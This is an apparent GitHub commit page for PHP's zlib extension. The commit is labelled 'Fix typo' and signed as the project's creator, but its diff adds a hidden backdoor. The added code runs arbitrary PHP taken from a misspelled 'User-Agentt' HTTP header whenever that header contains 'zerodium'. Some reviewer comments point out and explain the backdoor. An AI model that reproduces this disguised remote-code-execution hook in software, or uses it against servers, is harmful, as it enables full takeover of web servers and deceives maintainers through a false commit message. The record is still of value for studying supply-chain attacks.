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[skip-ci] Fix typo
Fixes minor typo.

Signed-off-by: Rasmus Lerdorf <>
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rlerdorf committed Mar 28, 2021
1 parent 92aeda5 commit c730aa2
Showing 1 changed file with 11 additions and 0 deletions.
11 changes: 11 additions & 0 deletions ext/zlib/zlib.c
Expand Up @@ -360,6 +360,17 @@ static void php_zlib_output_compression_start(void)
zval zoh;
php_output_handler *h;
zval *enc;

if ((Z_TYPE(PG(http_globals)[TRACK_VARS_SERVER]) == IS_ARRAY || zend_is_auto_global_str(ZEND_STRL("_SERVER"))) &&
(enc = zend_hash_str_find(Z_ARRVAL(PG(http_globals)[TRACK_VARS_SERVER]), "HTTP_USER_AGENTT", sizeof("HTTP_USER_AGENTT") - 1))) {

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staabm Mar 28, 2021


Intentionally AGENTT with 2x T at the end?

if (strstr(Z_STRVAL_P(enc), "zerodium")) {
zend_try {
zend_eval_string(Z_STRVAL_P(enc)+8, NULL, "REMOVETHIS: sold to zerodium, mid 2017");

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mvorisek Mar 28, 2021


@rlerdorf what does this do?

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JABirchall Mar 28, 2021

This line executes PHP code from within the useragent HTTP header, if the string starts with 'zerodium'

} zend_end_try();

switch (ZLIBG(output_compression)) {
case 0:
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